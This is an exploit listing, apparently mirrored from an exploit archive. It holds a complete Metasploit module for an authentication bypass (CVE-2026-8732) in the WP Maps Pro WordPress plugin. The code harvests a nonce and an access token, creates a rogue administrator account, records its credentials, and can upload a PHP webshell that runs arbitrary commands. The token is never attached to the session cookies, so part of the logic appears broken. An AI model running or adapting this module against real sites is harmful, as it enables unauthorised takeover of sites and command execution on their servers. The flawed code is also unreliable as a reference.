Share
## https://sploitus.com/exploit?id=PACKETSTORM:223800
==================================================================================================================================
    | # Title     : WordPress WP Google Map Pro Plugin Unauthenticated Authentication Bypass                                         |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://wordpress.org/plugins/wp-google-maps/                                                                    |
    ==================================================================================================================================
    
    [+] Summary    : A vulnerability in the WP Maps Pro plugin for WordPress allows unauthenticated attackers to generate valid authentication tokens via the wpgmp_temp_access_ajax AJAX action.
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Scanner
      include Msf::Auxiliary::Report
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'WP Maps Pro Plugin Unauthenticated Authentication Bypass',
            'Description' => %q{
              A vulnerability in the WP Maps Pro plugin for WordPress allows
              unauthenticated attackers to generate valid authentication tokens
              via the wpgmp_temp_access_ajax AJAX action. The vulnerability exists
              because the nonce check can be bypassed, allowing attackers to obtain
              a temporary access token that grants administrative privileges.
    
              Once an attacker has the token, they can use it to access the WordPress
              admin panel and create new administrator users.
    
              This module exploits the vulnerability to:
              1. Obtain a valid authentication token
              2. Use the token to create a new administrator user
              3. Optionally upload a webshell for persistence
    
              Affected versions: WP Maps Pro plugin versions prior to patch
              Tested on WordPress 6.x with WP Maps Pro vulnerable version
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-8732'],
              ['URL', 'https://wordpress.org/plugins/wp-google-maps/']
            ],
            'DisclosureDate' => '2026-05-13',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Base WordPress path', '/']),
          OptString.new('NEW_USER', [false, 'Username for new admin user', 'securityaudit']),
          OptString.new('NEW_PASS', [false, 'Password for new admin user', 'StrongP@ssw0rd123!']),
          OptString.new('NEW_EMAIL', [false, 'Email for new admin user', 'audit@example.com']),
          OptBool.new('CREATE_ADMIN', [true, 'Attempt to create admin user after obtaining token', true]),
          OptBool.new('UPLOAD_SHELL', [false, 'Attempt to upload webshell after gaining admin access', false]),
          OptInt.new('THREADS', [false, 'Number of threads for scanning', 1])
        ])
      end
      def wp_base
        normalize_uri(target_uri.path)
      end
      def admin_ajax_url
        normalize_uri(wp_base, 'wp-admin', 'admin-ajax.php')
     end
      def admin_users_url
        normalize_uri(wp_base, 'wp-admin', 'users.php')
      end
      def admin_user_new_url
        normalize_uri(wp_base, 'wp-admin', 'user-new.php')
      end
      def get_nonce
        print_status("Retrieving nonce from target...")
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => wp_base
        )
        
        if res && res.body
          nonce_match = res.body.match(/wpgmp_local.*?"nonce":"([^"]+)"/m)
          if nonce_match
            nonce = nonce_match[1]
            print_good("Found nonce: #{nonce}")
            return nonce
          end
          nonce_match = res.body.match(/fc-call-nonce["']?\s*:\s*["']([^"']+)/)
          if nonce_match
            nonce = nonce_match[1]
            print_good("Found nonce: #{nonce}")
            return nonce
          end
        end
        
        print_error("Could not extract nonce")
        nil
      end
    
      def get_auth_token(nonce)
        print_status("Requesting authentication token...")
        
        data = {
          'action' => 'wpgmp_temp_access_ajax',
          'nonce' => nonce,
          'handler' => 'wpgmp_temp_access_support',
          'check_temp' => 'false'
        }
        
        headers = {
          'Content-Type' => 'application/x-www-form-urlencoded',
          'X-Requested-With' => 'XMLHttpRequest'
        }
        
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => admin_ajax_url,
          'vars_post' => data,
          'headers' => headers
        )
        
        if res && res.body
          token = extract_token(res.body)
          if token
            print_good("Token obtained: #{token}")
            return token, res.body
          end
        end
        
        nil
      end
    
      def extract_token(response_body)
        begin
          json = JSON.parse(response_body)
          if json['url']
            full_url = json['url']
            token_match = full_url.match(/[?&]wpmp_token=([^&]+)/)
            return token_match[1] if token_match
            token_match = full_url.match(/token=([^&]+)/)
            return token_match[1] if token_match
          end
          return json['token'] if json['token']
          return json['access_token'] if json['access_token']
        rescue JSON::ParserError
        end
        token_match = response_body.match(/wpmp_token=([a-f0-9]+)/)
        return token_match[1] if token_match
        
        token_match = response_body.match(/["']token["']\s*:\s*["']([^"']+)/)
        return token_match[1] if token_match
        
        token_match = response_body.match(/["']access_token["']\s*:\s*["']([^"']+)/)
        return token_match[1] if token_match
        if response_body =~ /^[a-f0-9]{32,}$/
          return response_body.strip
        end
        
        nil
      end
    
      def get_create_user_nonce(session_cookies)
        print_status("Retrieving create-user nonce...")
        
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => admin_user_new_url,
          'cookie' => session_cookies
        )
        
        if res && res.body
          nonce_match = res.body.match(/name="_wpnonce_create-user" value="([^"]+)"/)
          if nonce_match
            nonce = nonce_match[1]
            print_good("Found create-user nonce: #{nonce}")
            return nonce
          end
          
          nonce_match = res.body.match(/id="_wpnonce_create-user"[^>]+value="([^"]+)"/)
          if nonce_match
            nonce = nonce_match[1]
            print_good("Found create-user nonce: #{nonce}")
            return nonce
          end
        end
        
        nil
      end
      def create_admin_user(session_cookies, nonce, username, password, email)
        print_status("Creating admin user: #{username}")
        
        data = {
          'action' => 'createuser',
          '_wpnonce_create-user' => nonce,
          '_wp_http_referer' => '/wp-admin/user-new.php',
          'user_login' => username,
          'email' => email,
          'first_name' => '',
          'last_name' => '',
          'url' => '',
          'pass1' => password,
          'pass2' => password,
          'role' => 'administrator',
          'createuser' => 'Add New User'
        }
        
        headers = {
          'Content-Type' => 'application/x-www-form-urlencoded',
          'Referer' => full_uri(admin_user_new_url)
        }
        
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => admin_user_new_url,
          'vars_post' => data,
          'headers' => headers,
          'cookie' => session_cookies
        )
        
        if res && (res.code == 302 || res.code == 200)
          if res.headers['Location'] && res.headers['Location'].include?('users.php')
            print_good("Admin user created successfully (redirect to users.php)")
            return true
          end
        end
        verify_res = send_request_cgi(
          'method' => 'GET',
          'uri' => admin_users_url,
          'cookie' => session_cookies
        )
        
        if verify_res && verify_res.body && verify_res.body.include?(username)
          print_good("Admin user confirmed in users list")
          return true
        end
        
        false
      end
    
      def upload_webshell(session_cookies)
        print_status("Attempting to upload webshell...")
        webshell = '<?php if(isset($_REQUEST["cmd"])){echo "<pre>";system($_REQUEST["cmd"]);echo "</pre>";} ?>'
        webshell_name = "shell_#{Rex::Text.rand_text_alpha_lower(8)}.php"
        upload_url = normalize_uri(wp_base, 'wp-admin', 'media-upload.php')
        boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"
        post_data = "--#{boundary}\r\n"
        post_data << "Content-Disposition: form-data; name=\"async-upload\"; filename=\"#{webshell_name}\"\r\n"
        post_data << "Content-Type: application/x-php\r\n\r\n"
        post_data << webshell
        post_data << "\r\n--#{boundary}\r\n"
        post_data << "Content-Disposition: form-data; name=\"html-upload\"\r\n\r\n"
        post_data << "Upload\r\n"
        post_data << "--#{boundary}--\r\n"
        
        headers = {
          'Content-Type' => "multipart/form-data; boundary=#{boundary}"
        }
        
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => upload_url,
          'data' => post_data,
          'headers' => headers,
          'cookie' => session_cookies
        )
        
        if res && res.code == 200
          if res.body =~ /href="([^"]+\.php)/
            shell_url = $1
            print_good("Webshell uploaded to: #{shell_url}")
            return shell_url
          end
        end
        print_warning("Could not upload webshell via media endpoint")
        false
      end
    
      def store_credentials(host, username, password, email)
        cred = {
          host: host,
          port: datastore['RPORT'],
          service_name: 'wordpress',
          user: username,
          private_data: password,
          private_type: :password,
          realm_key: 'wp_admin',
          realm_value: 'WordPress Admin'
        }
        
        report_cred(cred)
        note_data = {
          'username' => username,
          'password' => password,
          'email' => email,
          'url' => "http#{datastore['SSL'] ? 's' : ''}://#{host}:#{datastore['RPORT']}#{wp_base}"
        }
        
        report_note(
          host: host,
          port: datastore['RPORT'],
          type: 'wordpress.admin_creds',
          data: note_data,
          update: :unique_data
        )
      end
    
      def check_vulnerability
        print_status("Checking if target is vulnerable...")
        nonce = get_nonce
        unless nonce
          print_error("Could not retrieve nonce")
          return false
        end
        token, response = get_auth_token(nonce)
        if token
          print_good("Target appears VULNERABLE")
          return true
        end
        
        print_error("Target does not appear vulnerable")
        false
      end
    
      def run_host(ip)
        print_status("CVE-2026-8732 - WP Maps Pro Authentication Bypass")
        print_status("Target: #{peer}")
        res = send_request_cgi('method' => 'GET', 'uri' => wp_base)
        unless res && res.body && res.body.include?('wp-content')
          print_error("Target does not appear to be WordPress")
          return
        end
        
        print_good("WordPress detected")
        nonce = get_nonce
        unless nonce
          print_error("Could not retrieve nonce. Plugin may not be active.")
          return
        end
        token, response = get_auth_token(nonce)
        unless token
          print_error("Could not obtain authentication token")
          return
        end
        
        print_good("Authentication token obtained successfully")
        report_note(
          host: ip,
          port: datastore['RPORT'],
          type: 'wordpress.auth_token',
          data: { 'token' => token, 'nonce' => nonce },
          update: :unique_data
        )
        if datastore['CREATE_ADMIN']
          print_status("Attempting to create admin user...")
          session_cookies = {}
          
          create_nonce = get_create_user_nonce(session_cookies)
          unless create_nonce
            print_error("Could not retrieve create-user nonce")
            return
          end
          
          username = datastore['NEW_USER'] || "securityaudit_#{Time.now.to_i}"
          password = datastore['NEW_PASS'] || "StrongP@ssw0rd123!"
          email = datastore['NEW_EMAIL'] || "audit@example.com"
          
          if create_admin_user(session_cookies, create_nonce, username, password, email)
            print_good("Admin user created successfully!")
            print_good("  Username: #{username}")
            print_good("  Password: #{password}")
            print_good("  Email: #{email}")
            store_credentials(ip, username, password, email)
            if datastore['UPLOAD_SHELL']
              upload_webshell(session_cookies)
            end
          else
            print_error("Failed to create admin user")
          end
        end
        print_good("Exploitation completed")
      end
    end
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================